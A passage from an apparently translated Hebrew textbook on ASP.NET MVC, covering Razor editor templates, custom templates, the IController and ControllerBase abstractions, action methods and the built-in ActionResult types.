:  בעלת שתי תיקיות משנהDefaultTemplatesתראו את התיקייה , zipלאחר פתיחת הקובץ 
 מכילה את EditorTemplatesהתיקייה . DisplayTemplates והשנייה EditorTemplatesהאחת 

, Editor ,EditorFor( שיוצרים אלמנטי עריכה HTMLהתבניות שמשמשות סייעי 
EditorForModel( ; ואילו התיקייהDisplayTemplates מכילה את התבניות שמשמשות סייעי 

אולם , בסעיף זה נתמקד בתבניות העריכה). Display ,DisplayFor ,DisplayForModel(תצוגה 
 EditorTemplatesהתיקייה . המידע שמוצג כאן תקף במידה שווה לשתי קבוצות התבניות

 . 15-14ילה את שמונת הקבצים שמוצגים בתרשים מכ

 הן מקבלות מודל כפרמטר ומפיקות קוד -תבניות דומות לתצוגות חלקיות , מבחינות מסוימות
HTML .תבנית -סייעים מבוססי, המטא של המודל מגדירים משהו אחר-אלא אם כן נתוני

כאשר , לדוגמה. בוחרים את התבנית המתאימה לפי שם הטיפוס של הערך שעליהם לממש
, )IsDiscountedכמו למשל  (System.Booleanלממש מאפיין מטיפוס  צריך EditorForהסייע 

 System.Decimalלממש מאפיין מטיפוס נדרש סייע אותו אם . Booleanהוא משתמש בתבנית 
בסעיף הבא נדון ביתר פירוט בתהליך . Decimalהוא משתמש בתבנית , )Priceכמו למשל (

 . התבניתבחירת 
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 15-14תרשים 

  Razor ותבניות Web Formsתבניות 

אולם , Web Formsנכתבו באמצעות  ASP.NET Futuresהורדה של שמתקבלות לאחר התבניות 
אתם יכולים , כפי שנלמד לעשות בהמשך הפרק, כאשר אתם בונים תבניות מותאמות אישית

 יודעת לפעול עם תבניות משני MVCתשתית . cshtmlעם סיומת  Razorלהשתמש בתצוגות 
 . הסוגים ללא צורך בהגדרות נוספות

 :  נראה כךDecimalהקוד של תבנית , Razorבתחביר 
@using System.Globalization 

@Html.TextBox("", FormattedValue, new { @class = "text-box single-line" }) 

@functions 

{ 

 private object FormattedValue { 

  get { 

   if (ViewData.TemplateInfo.FormattedModelValue == 

    ViewData.ModelMetadata.Model) { 

    return String.Format( 

     CultureInfo.CurrentCulture, 

     "{0:0.00}", ViewData.ModelMetadata.Model 

    ); 

   } 

   return ViewData.TemplateInfo.FormattedModelValue; 

  } 

 } 

} 
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שימו לב גם לשימוש ). textמסוג ( ליצירת אלמנט קלט TextBoxבתבנית זו משתמשים בסייע 
. ViewData של TemplateInfo- וModelMetadataשנעשה על ידי התבנית במאפיינים 

ותשתמשו בו ,  מכיל מידע שאתם עשויים להיזקק לו בתוך התבנית עצמהViewDataהאובייקט 
 : Stringהתבנית , ביותרגם בקוד של התבנית הפשוטה 

@Html.TextBox("", ViewData.TemplateInfo.FormattedModelValue, 

  new { @class = "text-box single-line" }) 

הערך של . FormattedModelValue מספק גישה למאפיין ViewData של TemplateInfoהמאפיין 
 -ל סמך מחרוזות הפורמט שבע(כמחרוזת בפורמט מתאים ערך המודל המאפיין הזה הוא 

ModelMetadata( , או ערך המודל הגולמי המקורי)האובייקט ). בהיעדר מחרוזת פורמט זמינה
ViewDataתוכלו למצוא דוגמה לשימוש מעשי . המטא של המודל- גם מספק גישה לנתוני

 התבנית שיושמה על ידי התשתית (Booleanהמטא של המודל בתבנית של עורך קלט -בנתוני
 ).  בדוגמה הקודמתIsDiscountedעבור המאפיין 

@using System.Globalization 

 

@if (ViewData.ModelMetadata.IsNullableValueType) { 

 @Html.DropDownList("", TriStateValues, 

new { @class = "list-box tri-state" }) 

} else { 

 @Html.CheckBox("", Value ?? false, 

  new { @class = "check-box" }) 

} 

 

@functions { 

 private List<SelectListItem> TriStateValues { 

  get { 

   return new List<SelectListItem> { 

    new SelectListItem { 

     Text = "Not Set", Value = String.Empty, 

     Selected = !Value.HasValue 

    }, 

    new SelectListItem { 

     Text = "True", Value = "true", 

     Selected = Value.HasValue && Value.Value 

    }, 

    new SelectListItem { 

     Text = "False", Value = "false", 

     Selected = Value.HasValue && !Value.Value 

    }, 

   }; 

  } 

 } 
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 private bool? Value { 

  get { 

   if (ViewData.Model == null) { 

    return null; 

   } 

   return Convert.ToBoolean(ViewData.Model, 

     CultureInfo.InvariantCulture); 

  } 

 } 

} 

אך אורכו של הקוד נובע בעיקר מהצורך לבנות , Booleanעבודה רבה מבוצעת בתוך תבנית 
ולבנות עורך קלט , )רשימה נפתחת (nullיים שיכולים לקבל עורך קלט אחד למאפיינים בוליאנ

עיקר הקוד מוקדש להגדרת ). תיבת סימון (nullשונה למאפיינים שאינם יכולים לקבל 
 . הפריטים שיוצגו ברשימה הנפתחת

 בחירת תבנית

ברור שמאפיין מטיפוס , מכיוון שהתשתית בוחרת תבניות על סמך השם של טיפוס המודל
decimal ,ימומש באמצעות התבנית , משללDecimal . אבל מה קורה כאשר יש לנו מאפיין

 או Int32כמו למשל , 15-14מטיפוס שאינו משויך לאחת מהתבניות הסטנדרטיות שבתרשים 
DateTime? 

-התשתית בוחנת תחילה את נתוני, לפני שהיא מנסה לאתר תבנית שתואמת לשם הטיפוס
באפשרותכם לציין את שם . מצביעים לתבנית כלשהיהמטא של המודל כדי לראות אם הם 

גם . כמודגם בהמשך, UIHintהתבנית המתאימה לטיפוס באמצעות תכונת סימון הנתונים 
 .  יכולה להשפיע על בחירת התבניתDataTypeהתכונה 

[DataType(DataType.MultilineText)] 

public string Description { get; set; } 

גם .  שלעילDescription בעת מימוש המאפיין MultilineTextבנית התשתית תשתמש בת
 .  מותאמת תבנית סטנדרטיתPassword עם הערך  DataTypeלאובייקט 

שם הטיפוס משמש לבחירת תבנית רק כאשר התשתית אינה מצליחה למצוא תבנית מתאימה 
ואם הוא ; Stringהתשתית תשתמש בתבנית , Stringאם הטיפוס הוא . המטא-על סמך נתוני

Decimal , היא תשתמש בתבניתDecimal .אם שם הטיפוס אינו משויך לתבנית מסוימת ,
 - Collectionאו בתבנית ,  כאשר האובייקט אינו טיפוס מורכבStringהתשתית תשתמש בתבנית 

 משמשת Objectהתבנית ). כגון מערך או רשימה, collection( האובייקט הוא אוסף כאשר
המודל על  EditorForModelסייע הפעלת ה, לדוגמה.  האובייקטים המורכביםלמימוש כל

Album של יישום MVC Music Store תגרום להעברת השליטה לתבנית Object . תבניתObject 
 HTMLמטא כדי ליצור תגיות - ובנתוניreflection -היא תבנית מתוחכמת שמשתמשת ב
 .מתאימות למאפיינים השונים של המודל
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if (ViewData.TemplateInfo.TemplateDepth > 1) { 

 if (Model == null) { 

  @ViewData.ModelMetadata.NullDisplayText 

 } 

 else { 

  @ViewData.ModelMetadata.SimpleDisplayText 

 } 

} 

else { 

 foreach (var prop in ViewData.ModelMetadata 

.Properties 

.Where(pm => ShouldShow(pm))) { 

  if (prop.HideSurroundingHtml) { 

   @Html.Editor(prop.PropertyName) 

  } 

  else { 

   if (!String.IsNullOrEmpty( 

    Html.Label(prop.PropertyName).ToHtmlString())) { 

    <div class="editor-label"> 

     @Html.Label(prop.PropertyName) 

    </div> 

    } 

    <div class="editor-field"> 

     @Html.Editor(prop.PropertyName) 

     @Html.ValidationMessage(prop.PropertyName, "*") 

    </div> 

  } 

 } 

} 

 

@functions { 

 bool ShouldShow(ModelMetadata metadata) { 

  return metadata.ShowForEdit 

&& !metadata.IsComplexType 

&& !ViewData.TemplateInfo.Visited(metadata); 

 } 

} 

 נועדה להבטיח שהתבנית לא תעמיק מעבר לרמה Object הפותחת בתבנית ifהצהרת 
כאשר עליה לטפל באובייקט מורכב שכולל מאפיין , במילים אחרות. הראשונית של האובייקט

באמצעות (ורכב  תסתפק בהצגת סיכום פשוט של המאפיין המObjectתבנית , מורכב
NullDisplayText או SimpleDisplayTextהמטא של המודל- מנתוני .( 

, או של כל אחת מהתבניות המובנות האחרות, Objectאם אינכם מרוצים מהתנהגות התבנית 
 . במקום התבניות הסטנדרטיות, תוכלו להגדיר תבניות מותאמות שלכם
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 תבניות מותאמות

תשתית . EditorTemplates או DisplayTemplates בתיקייה תבניות מותאמות אישית שוכנות
MVCתחילה נבדקת תיקיית .  מסתמכת על כללים מוכרים לבחירת הנתיב לתבנית הדרושה

 כדי לראות אם Views/Sharedתיקייה נבדקת גם ה לאחר מכן אך, התצוגות של בקר מסוים
יכות לכל אחד ממנועי התשתית מחפשת תבניות שמשו. קיימות תבניות מותאמות אישית

התשתית תחפש תבניות בעלות , על פי ברירת מחדל, כלומר(התצוגה הרשומים ביישום 
 ). cshtml. - וaspx ,.ascx.הסיומות 

אך ברצונכם לספק אותה אך ,  מותאמת אישיתObjectנניח שברצונכם לבנות תבנית , לדוגמה
לשם כך תוכלו . MVC Music Store של יישום StoreManagerשמשויכות לבקר ורק לתצוגות 
 חדשה בשם Razor וליצור תצוגת Views/StoreManager בתיקייה EditorTemplateליצור תבנית 

Object.cshtml)  15-15ראו תרשים .( 

 15-15תרשים    

אם סגנונות , למשל. תבניות מותאמות אישית מאפשרות לכם לעשות המון דברים מעניינים
אינם מוצאים חן ) text-box single-line(ם על אלמנט קלט טקסט ברירת המחדל שמוחלי

למקם אותה בתיקייה בכל סגנון שתרצו ו משלכם Stringלבנות תבנית עורך תוכלו , בעיניכם
Shared\EditorTemplates ,ואז היא תיושם בכל חלקי הפרויקט שלכם . 

 תמצאו -dataנוסף על תכונות מידע  (תסריטי לקוח  עבור -data תגיותאתם יכולים גם להפיק 
 לכל jQuery UI של Datepickerט 'נניח שאתם רוצים להצמיד את הווידג, לדוגמה). 8בפרק 

התשתית מממשת עורכים למאפייני , על פי ברירת מחדל. DateTimeעורך של מאפיין 
DateTime באמצעות תבנית String , אבל אתם יכולים ליצור תבניתDateTime את  כדי לשנות
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 בעת מימוש ערך DateTimeמכיוון שהסייע של התשתית מחפש תבנית בשם , ההתנהגות הזו
DateTimeבאמצעות תבניות . 

@Html.TextBox("", ViewData.TemplateInfo.FormattedModelValue, 

 new { @class = "text-box single-line", 

  data_datepicker="true" 

 }) 

בתיקייה הציב אותו ול, DateTime.cshtmlה בקובץ  לשמור את הקוד הזתוכלו
Shared\EditorTemplates . כעת תוכלו לצרף בקלות רבה Datepicker לכל עורך של מאפיין

DateTime אל תשכחו לכלול את ( באמצעות קטע קטן של תסריט שמורץ במחשב הלקוח
 ). 8כמוסבר בפרק , jQuery UIהתסריטים ואת גליונות הסגנון של 

$(function () { 

 $(":input[data-datepicker=true]").datepicker(); 

}); 

אלא רק במספר מקרים , DateTime לכל עורך Datepickerכעת נניח שאינכם רוצים לצרף את 
כעת . SpecialDateTime.cshtml-תוכלו לעשות זאת על ידי שינוי קובץ התבנית ל. מיוחדים

אלא אם כן תציינו את שם , DateTimeם למאפייני התשתית לא תבחר את התבנית שיצרת
הנה דוגמה . EditorForתוכלו לציין את שם התבנית באמצעות הסייע . התבנית באופן מפורש

 : ReleaseDate בשם DateTimeלמימוש של מאפיין 

@Html.EditorFor(m => m.ReleaseDate, "SpecialDateTime") 

 :UIHintצמו באמצעות תכונת תוכלו לסמן את המאפיין ע, לחילופין
[UIHint("SpecialDateTime")] 

public DateTime ReleaseDate { get; set; } 

תבניות מותאמות אישית הן אמצעי יעיל ביותר לצמצום נפח הקוד שעליכם לכתוב במהלך 
תוכלו לבצע , על ידי ריכוז המוסכמות הסטנדרטיות של היישום שלכם בתבניות. בניית היישום

 . נויים גורפים ביישום על ידי שינוי של קובץ אחד בלבדשי

 בקרים מתקדמים
ובאופן טבעי הוא מספק שלל אפשרויות , ASP.NET MVCהבקר הוא סוס העבודה של יישומי 

בסעיף זה נדון במנגנוני . 2מסיבות מובנות לא יכולנו להציג את כולן בפרק . מתקדמות
צד להשתמש בידע הזה כדי לספק פתרונות לסוגיות ונלמד כי, הפעולה הפנימיים של הבקרים

 . מתקדמות

 IControllerמשק מ: הגדרת הבקר

הבה נבחן כיצד , MVCכשברשותכם הבנה טובה של העקרונות הבסיסיים של תשתית , כעת
עד כה התמקדנו במה שהבקר עושה וכעת הגיע , למען הפשטות. הבקרים מוגדרים ופועלים

עליכם להכיר תחילה את , כדי לעשות זאת. controller -קר מהו למעשה בהזמן להסביר 
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יכולת הרחבה וגמישות הן שתיים מהמטרות העיקריות , 1כמוסבר בפרק . IControllerהממשק 
חשוב לנצל ככל הניתן , כדי להקנות לתשתית את התכונות הללו. ASP.NET MVCשל תשתית 

 . את אפשרויות ההפשטה על ידי שימוש בממשקים

ועל , IControllerהיא חייבת ליישם את ממשק , ASP.NET MVCשמחלקה תיחשב כבקר של כדי 
תשתית . זו מאוד חשובהמוסכמה ". Controller"-פי המוסכמה שם המחלקה צריך להסתיים ב

ASP.NET MVC כוללת מספר רב של כללים שנועדו להקל על חייכם ולחסוך מכם הגדרות 
ב בעוצמות האדירות שמסתתרות מתחת לשכבת ההפשטה בהתחש. תצורה ושימוש במאפיינים

 :מפתיע לגלות כמה הוא פשוט, IControllerשיוצר ממשק 
public interface IController 

{ 

 void Execute(RequestContext requestContext); 

} 

והוא קורא , מערכת הניתוב מזהה את הבקר, כאשר מתקבלת בקשה: יזהו תהליך פשוט למד
 . Executeלשיטה 

 היא לספק נקודת פתיחה פשוטה לכל מי שרוצה לשלב בקרים IControllerהמטרה של הבקר 
מוסיפה , שבה נדון בהמשך הפרק, Controllerהמחלקה . ASP.NET MVCמשלו בתשתית 

זהו הדפוס השכיח ליצירת נקודות הרחבה בתשתית . התנהגויות מעניינות רבות לממשק הזה
ASP.NET. 

ייתכן ששמתם לב שממשק , )HTTP) HTTP handlers עם מטפלי פעלתם אם, לדוגמה
IController מזכיר מאוד את ממשק IHttpHandler : 

public interface IHttpHandler 

{ 

 void ProcessRequest(HttpContext context); 

 

 bool IsReusable { get; } 

} 

 שקולים IHttpHandler והן IControllerן  ואז נוכל לומר שהIsReusableנתעלם לרגע מהמאפיין 
 IHttpHandler.ProcessRequest והשיטה IController.Executeהשיטה . מבחינת התפקידלגמרי 

הוא היקף נתוני ניהן יההבדל העיקרי ב. שתיהן לבקשות ומחזירות פלט בתגובהמגיבות 
, RequestContextשל מקבלת מופע  IController.Executeהשיטה . לשיטותההקשר שמועברים 

 מכיל מידע רלוונטי נוסף הקשור לבקשות ליישומי HttpContextאשר בנוסף לאובייקט 
ASP.NET MVC . 

 מכיוון ASP.NET Web Formsאשר ככל הנראה הינה המוכרת ביותר למפתחי , Pageהמחלקה 
 . IHttpHandlerמיישמת גם כן את , ASPXשהיא מחלקת הבסיס הסטנדרטית לדפי 
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 ControllerBaseלקת הבסיס המופשטת מח
אבל בפועל מדובר באמצעי שמאפשר , IControllerקל מאוד ליישם את ממשק , כפי שראיתם

הפשטות הזו היא .  שלוExecuteלמחלקת הניתוב לאתר את הבקר שלכם ולקרוא לשיטה 
אבל הממשק לא באמת תורם כל דבר שימושי , בדיוק מה שדרוש מנקודות גישה למערכת

 חלק גדול מהעוסקים בפיתוח של כלים -גם זה לא בהכרח דבר רע . לבקר שאתם כותבים
כופה עליהם אילוצים " לשפץ"מותאמים אישית לא אוהבים במיוחד שהמערכת שהם מנסים 

ובדיוק לשם כך קיימת , API-אחרים מעדיפים הגדרה מפורטת יותר של ה, עם זאת. רבים
 . ControllerBaseהמחלקה 

 IControllerם להשארת שיקולי

צוות הפיתוח שקל להסיר את ממשק ,  הייתה בחיתוליהASP.NET MVCכאשר תשתית 
IController . הטענה הייתה שמפתחים שרוצים ליישם את הממשק הזה יכולים להשתמש

 בחלק משמעותי ממכניקת ההרצה הבסיסית על אשר מטפל,  משלהםMvcHandlerבמימוש של 
 . ממערכת הניתובסמך בקשות שמתקבלות

 מכיוון שאלמנטים אחרים של IControllerבסופו של דבר הוחלט להשאיר את הממשק 
ASP.NET MVC) IControllerFactoryו -ControllerBuilder (וכך , יכולים לפעול איתו באופן ישיר

 . הוא יכול לתרום לתהליך הפיתוח

 APIשיוצרת שכבת ) abstract( הינה מחלקת בסיס מופשטת ControllerBaseהמחלקה 
- וTempDataהיא חושפת את המאפיינים . IControllerמצומצמת נוספת מעל הממשק 

ViewData) השיטה ). 3כמוסבר בפרק , שתי דרכים לשליחת נתונים לתצוגהExecute של 
ControllerBase אחראית ליצירת מופע של ControllerContext אשר מספק נתוני הקשר 

-באופן דומה להעברה של נתוני הקשר ממוקדי, ודות הבקשה הנוכחית אMVC-ממוקדי
ASP.NET) כגון בקשה ותגובה ,URL ,באמצעות מופע של ) פרטי שרת ועודHttpContext . 

ומאפשרת למפתחים ליצור מומושים חופשיים מאוד , מחלקת הבסיס אינה מכבידה בפרטים
כלים  (ASP.NET MVCמסנני הפעולה של תוך ניצול היתרונות של מערך , עבור הבקרים שלהם

מחלקת הבסיס אינה , עם זאת). 13כמפורט בפרק , תגובה/לסינון ועבודה עם נתוני בקשה
וכאן נכנסת לתמונה המחלקה , מספקת את היכולת להמיר פעולות לצורת קריאות לשיטות

Controller . 

 מחלקת הבקר ופעולות

קד אך ורק באמצעות מחלקות שמיישמות את ניתן לבנות אתר שלם ומתפ, באופן תיאורטי
ControllerBase או את IController . מערכת הניתוב תחפשIControllerלאחר מכן ,  לפי שם
 ASP.NETהדבר שקול לעבודה עם , אולם. והנה לכם אתר בסיסי ביותר, Executeתקרא לשיטה 

ציא מחדש את הגלגל אבל יהיה עליכם להמ, זה יפעל:  גולמייםIHttpHandlersבאמצעות 
 . הליבה של התשתית מאפס) קוד(ולבנות בעצמכם את היגיון 
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עובדה  (HTTP הינה שכבה שפועלת מעל למטפלי ASP.NET MVCתשתית , כפי שתראו בהמשך
 ASP.NETולמעשה לא היה צורך לערוך כל שינוי פנימי מהותי בתשתית , )מעניינת כשלעצמה

 פשוט יצר את התשתית החדשה כשכבה ASP.NET MVCהצוות של . MVCכדי לצרף אליה את 
 .ASP.NETששוכנת מעל לנקודות ההרחבה הקיימות של 

הגישה המקובלת לכתיבת בקר היא לרשת ממחלקת הבסיס המופשטת 
System.Web.Mvc.Controller , אשר מיישמת את מחלקת הבסיסControllerBase , ולפיכך גם

 נועדה לשמש בתור מחלקת הבסיס לכל הבקרים Controllerהמחלקה . IControllerאת ממשק 
 . והיא מספקת שלל התנהגויות שימושיות שבקרים יכולים לרשת

מחלקת הבסיס המופשטת , IController ,ControllerBase ממחיש את הקשר בין 15-16תרשים 
Controller ושני הבקרים שכלולים ביישום ברירת המחדל של ASP.NET MVC 4 . 

 ולהשיטות פע

 שיטות הן Controllerכל השיטות הציבוריות אשר שייכות למחלקה שיורשת ממחלקת הבסיס 
במקום . HTTPובאופן עקרוני ניתן לקרוא להן באמצעות בקשת , )action methods (פעולה

, תוכלו לבנות את הבקר שלכם כקבוצה של שיטות פעולה, Executeמימוש אחיד אחד של 
 . ט מסוים מהמשתמששכל אחת מהן מגיבה לקל

 סוגיית האבטחה של שיטות פעולה ציבוריות

 באופן מקוון Controllerהעובדה שהציבור הרחב יכול לקרוא לכל שיטה ציבורית של המחלקה 
צוות הפיתוח מקדיש רב זמן לדיונים . מעלה באופן טבעי שאלות בדבר אבטחה של הגישה הזו

 . פנימיים וחיצוניים בסוגיה זו

 לכל ontrollerActionAttributeהמפתחים נדרשו להצמיד מאפיין סימון בשם , ודמותבגרסאות ק
אולם רבים הרגישו שיש בכך הפרה של עיקרון ההימנעות , שיטת פעולה שניתנת לקריאה

מסתבר שחלק גדול מהחששות בנוגע לפתיחת ). DRY - Don’t Repeat Yourself(מחזרות 
).opt in (אישורת ממחלוקת בדבר המשמעות של המונח השיטות הללו לקריאה דרך הרשת נובע

שיטה הופכת לנגישה דרך הרשת רק לאחר כמה רמות של אישורים , מבחינת צוות המוצר
)opting .( רמת האישור הראשונה היא עבודה עם פרויקט שלASP.NET MVC . אם תוסיפו

המחלקה לא תהיה , נדרטי סטASP.NET Web Application ציבורית לפרויקט Controllerמחלקה 
 - ASP.NET MVCאך אם תוסיפו מחלקה כזו לפרויקט , נגישה לקריאות שמבוצעות דרך הרשת

כגון (עדיין תצטרכו להגדיר כלל ניתוב עם מטפל ניתוב , מעבר לזה. סביר שהיא תהיה נגישה
MvcRouteHandler (שמשויך למחלקה הזו . 

 כמחלקת בסיס אתם למעשה מאשרים את Controllerעל ידי השימוש במחלקה , לסיכום
לפני שמבקר באתר יוכל לקרוא , וגם אם כן, אינכם יכולים לעשות זאת בטעות. ההתנהגות הזו

 . עליכם להגדיר כללי ניתוב שמובילים למחלקה הזו, לה
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 15-16תרשים 
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 תוצאת פעולה 

בתשתית . ש היא להגיב לקלט מהמשתמMVCהמטרה של הבקר בתבנית , כפי שכבר נאמר
ASP.NET MVC ,שיטות פעולה הן היחידות שמספקות תגובה נקודתית לקלט מהמשתמש .

שיטות הפעולה הן אלו שאחראיות בפועל על הטיפול בבקשות שמתקבלות מהמשתמש ועל 
 . HTMLלרוב בפורמט , החזרת התגובה שתוצג בפניו

ולאחר מכן , מבוקשתדפוס ההתנהגות המקובל של שיטות פעולה הוא לבצע את העבודה ה
להלן קוד . ActionResultלהחזיר מופע של טיפוס אשר יורש ממחלקת הבסיס המופשטת 

 :ActionResultהמקור של מחלקת הבסיס המופשטת 

public abstract class ActionResult 

{ 

 public abstract void ExecuteResult(ControllerContext context); 

} 

אם אתם מכירים את תבנית . ExecuteResultאת , ילה שיטה אחת בלבדשימו לב שהמחלקה מכ
תוצאות פעולה מייצגות פקודות . הסגנון הזה לא אמור להיות זר לכם, Commandהעיצוב 

 . ששיטות הפעולה מבקשות מהתשתית לבצע בשמן

בעוד ששיטות פעולה מטפלות , תוצאות פעולה מטפלות בדרך כלל בעבודה ברמת התשתית
שיטת הפעולה , כאשר מתקבלת בקשה להצגת רשימה של מוצרים, לדוגמה.  של היישוםבקוד

ואולי גם מבצעת סינון בהתאם , שולחת שאילתה לבסיס הנתונים ובונה רשימת מוצרים
שיטת הפעולה מתמקדת אך ורק , בשלב זה. לכללים העסקיים שמוכתבים על ידי היישום

 . בקוד הלוגיקה של היישום

עלינו לממש , המוצרים שמורכבת על ידי השיטה מוכנה להצגה בפני המשתמשכאשר רשימת 
יכיל פרטים , אשר אמור להתמקד בהיגיון העסקי, איננו רוצים שהקוד של השיטה. אותה

ייתכן שיש לנו , למשל.  ישירות לתגובהHTTPכגון כתיבת , שקשורים למימוש של התשתית
לא נרצה להטמיע את . HTMLוצרים לפורמט תבנית מוגדרת שיכולה לשמש להמרת אוסף המ

, מכיוון שיש בכך הפרה של עיקרון הפרדת התפקידים, המידע הזה בשיטת הפעולה עצמה
 . אשר עד כה נשמר בקפדנות רבה

אשר יורש  (ViewResultפתרון אפשרי לסוגיה זו הוא לגרום לשיטת הפעולה ליצור מופע של 
שיטת הפעולה , בשלב זה. למופע הזה ולהחזיר אותולהעביר את הנתונים , )ActionResult-מ

 על המופע של ExecuteResultיפעיל את השיטה ויוזם הפעולות , את עבודתהסיימה 
ViewResultהקוד שלהלן ממחיש כיצד הדבר מתבצע.  להשלמת השלב האחרון בתהליך: 

public ActionResult ListProducts() 

{ 

 //Pseudo code 

 IList<Product> products = SomeRepository.GetProducts(); 

 ViewData.Model = products; 

 return new ViewResult {ViewData = this.ViewData }; 

} 
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 ActionResultסביר להניח שלעולם לא תיתקלו בקוד שיוצר באופן ישיר מופעים של , בפועל
, לדוגמה. Controllerמחלקה וככל הנראה תשתמשו באחת משיטות הסיוע של ה, כמוצג לעיל

 : Viewבקוד שלהלן מוצג שימוש בשיטת הסיוע 
public ActionResult ListProducts() 

{ 

 //Pseudo code 

 IList<Product> products = SomeRepository.GetProducts(); 

 return View(products); 

} 

 . בין המחלקה הזו לבין תצוגות ונסביר את הקשר ViewResultבסעיף הבא נרחיב את הדיון על 

 שיטות עזר להחזרת תוצאת פעולה

אם תבחנו מקרוב את הפעולות של בקר ברירת המחדל בתבנית פרויקט ברירת המחדל של 
ASP.NET MVC , תראו ששיטות הפעולה אינן יוצרות מופעים שלViewResultבאופן ישיר  .

 : שלהלןAboutניקח לדוגמה את קוד השיטה 
public ActionResult About() { 

 ViewData["Title"] = "About Page"; 

 return View(); 

} 

 מכילה Controllerהמחלקה . Viewשימו לב שהשיטה מחזירה את תוצאת הקריאה אל השיטה 
שיטות אלו נועדו להפוך את הקוד של . ActionResultמספר שיטות עזר להחזרת מופעים של 

נהוג , במקום ליצור מופעים חדשים של תוצאות פעולה. יותרשיטות פעולה לקריא והצהרתי 
 . להחזיר את התוצאה המתקבלת מהקריאה אל אחת משיטות העזר הללו

אך , רוב השמות של השיטות האלו מקבילים לטיפוס תוצאת הפעולה שמוחזרת על ידי השיטה
 Jsonהשיטה ו, ViewResult מחזירה מופע של Viewהשיטה , לדוגמה. Resultללא הסיומת 

, RedirectToActionהשיטה היחידה שמפרה את החוקיות הזו היא . JsonResultמחזירה מופע של 
 .RedirectToRouteאשר מחזירה מופע של 

, HTTP 302 שולחות כולן קוד מצב RedirectToRoute- וRedirect ,RedirectToActionהשיטות 
עליכם להודיע על כך , ום אחר באופן קבועאם התוכן הועבר למיק. הפניית המשך זמניתלציון 

אחד היתרונות של השימוש בקוד המצב הזה . HTTP 301ללקוחותיכם באמצעות קוד מצב 
הוא מעדכן , HTTP 301כאשר מנוע חיפוש נתקל בקוד . קשור לקידום האתר במנועי החיפוש

פג עשוי גם עדכון קישורים שתוקפם . שמוצגות בתוצאות החיפוש, URLs, את הכתובות
לכל שיטה שמחזירה , לכן. במקרים מסוימים להשפיע על הדירוג במנועי החיפוש

RedirectResult יש שיטה מקבילה שמחזירה קוד מצב HTTP 301 . השיטות המקבילות הן
RedirectPermanent ,RedirectToActionPermanentו -RedirectToRoutePermanent . חשוב

ולכן השתמשו בהם רק ,  במטמוןHTTP 301ם שומרים תגובות לדעת שדפדפנים ולקוחות אחרי
 . כאשר אתם בטוחים שהמיקום החדש אכן קבוע
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 .  מכילה פירוט של שיטות העזר הזמינות והטיפוס המוחזר שלהן15-4טבלה 

 ActionResultשיטות עזר בבקר שמחזירות מופעים של : 15-4טבלה 

 תיאור שיטה

Redirect מחזירהRedirectResult , אשר מפנה את המשתמש לכתובת
URLמתאימה . 

RedirectPermanent כמוRedirect , אבל מחזירהRedirectResult עם ערך true 
 .HTTP 301 כדי שיוחזר קוד מצב Permanentבמאפיין 

RedirectToAction מחזירהRedirectToRouteResult , אשר מפנה את המשתמש
 .וניםלפעולה על סמך ערכי הניתוב הנת

RedirectToActionPermanent כמוRedirectToAction , אבל מחזירהRedirectResult עם ערך 
true במאפיין Permanent כדי שיוחזר קוד מצב HTTP 301. 

RedirectToRoute מחזירהRedirectToRouteResult , אשר מפנה את המשתמש
 . שתואמת את ערכי הניתוב הנתוניםURLלכתובת 

RedirectToRoutePermanent כמוRedirectToRoute , אבל מחזירהRedirectResult עם ערך 
true במאפיין Permanent כדי שיוחזר קוד מצב HTTP 301. 

View מחזירהViewResult ,למימוש התצוגה לתגובה . 

PartialView מחזירהPartialViewResult ,למימוש תצוגה חלקית לתגובה . 

Content מחזירהContentResult , אשר כותבת את התוכן הנתון
 . לתגובה) מחרוזת(

File מחזירה מחלקה שיורשת מהמחלקהFileResult , ואשר כותבת
 . תוכן בינרי לתגובה

Json מחזירהJsonResult שמכילה את הפלט המתקבל מתהליך 
 . JSONהסריאליזציה של אובייקט לפורמט 

JavaScript מחזירהJavaScriptResult שמכילה קוד JavaScript שמופעל 
 . מיד לאחר שהוא מוחזר ללקוח

 סוגי תוצאות פעולה

לביצוע פעולות ) ActionResult( כוללת סוגים שונים של תוצאות פעולה ASP.NET MVCתשתית 
בסעיפים שבהמשך תוכלו למצוא הסברים מפורטים על סוגי . 15-5כמפורט בטבלה , שכיחות

 . התוצאות השונים
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 תיאור הסוגים השונים של תוצאות פעולה: 15-5בלה ט

 תיאור תוצאת הפעולהסוג 

ContentResultמשמשת לכתיבת התוכן הנתון בתור טקסט ישירות לתגובה . 

EmptyResult מייצגתnullמבלי לבצע כל פעולה,  או תגובה ריקה. 

FileContentResult יורשת מהמחלקהFileResultים  וכותבת מערך של בת)bytes (
 .לתגובה

FilePathResult יורשת מהמחלקהFileResult וכותבת קובץ לתגובה על סמך 
 .נתיב קובץ

FileResult משמשת כמחלקת בסיס למגוון תוצאות שכותבות תגובה
 . שימושי להחזרת קבצים למשתמש. בינרית לזרם

FileStreamResult יורשת מהמחלקהFileResultה וכותבת זרם לתגוב . 

HttpNotFound יורשת מהמחלקהHttpStatusCodeResult , ומחזירה ללקוח קוד
 .  כדי לציין שהמשאב המבוקש לא נמצאHTTP 404תגובה 

HttpStatusCodeResult מחזירה קודHTTPלמשתמש- ספציפי . 

HttpUnauthorizedResult יורשת מהמחלקהHttpStatusCodeResult , ומחזירה ללקוח קוד
כדי לציין שהמבקש אינו מורשה גישה , HTTP 401בה תגו

 .  של הבקשה מפנה אליהםURLלמשאבים שכתובת 

JavaScriptResult משמשת להרצת קודJavaScript שנשלח מהשרת בצד הלקוח 
 . באופן מיידי

JsonResult מבצעת סריאליזציה של האובייקט שמועבר לה לפורמטJSON ,
משמשת בעיקר כתגובה . גובהוכותבת את הפלט המתקבל בת

 . Ajaxלבקשות 

PartialViewResult תוצאה זו דומה מאוד לתוצאתViewResult , כאשר ההבדל
היחיד הוא בכך שהתגובה זוכה למימוש של תצוגה חלקית 

 . Ajaxשאופיינית לבקשות 

RedirectResult מפנה את המבקש לכתובתURL אחרת על ידי החזרת קוד 
בהתאם לערך , 301 קבועה הפניה או קוד 302 זמנית הפניה

 . Permanentהדגל הבוליאני 

RedirectToRouteResult דומה לתוצאתRedirectResult , למעט העובדה שהמשתמש
 .  שנקבעת על ידי פרמטרי הניתובURLמופנה לכתובת 

ViewResultקוראת למנוע התצוגה לצורך מימוש תצוגה לתגובה . 
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ContentResult 

. אל התגובה) Contentדרך המאפיין ( כותבת את התוכן הנתון ContentResultתוצאה ה
ואת סוג ) ContentEncodingדרך המאפיין (המחלקה מאפשרת גם לציין קידוד עבור התוכן 

 ). ContentTypeדרך המאפיין (התוכן 

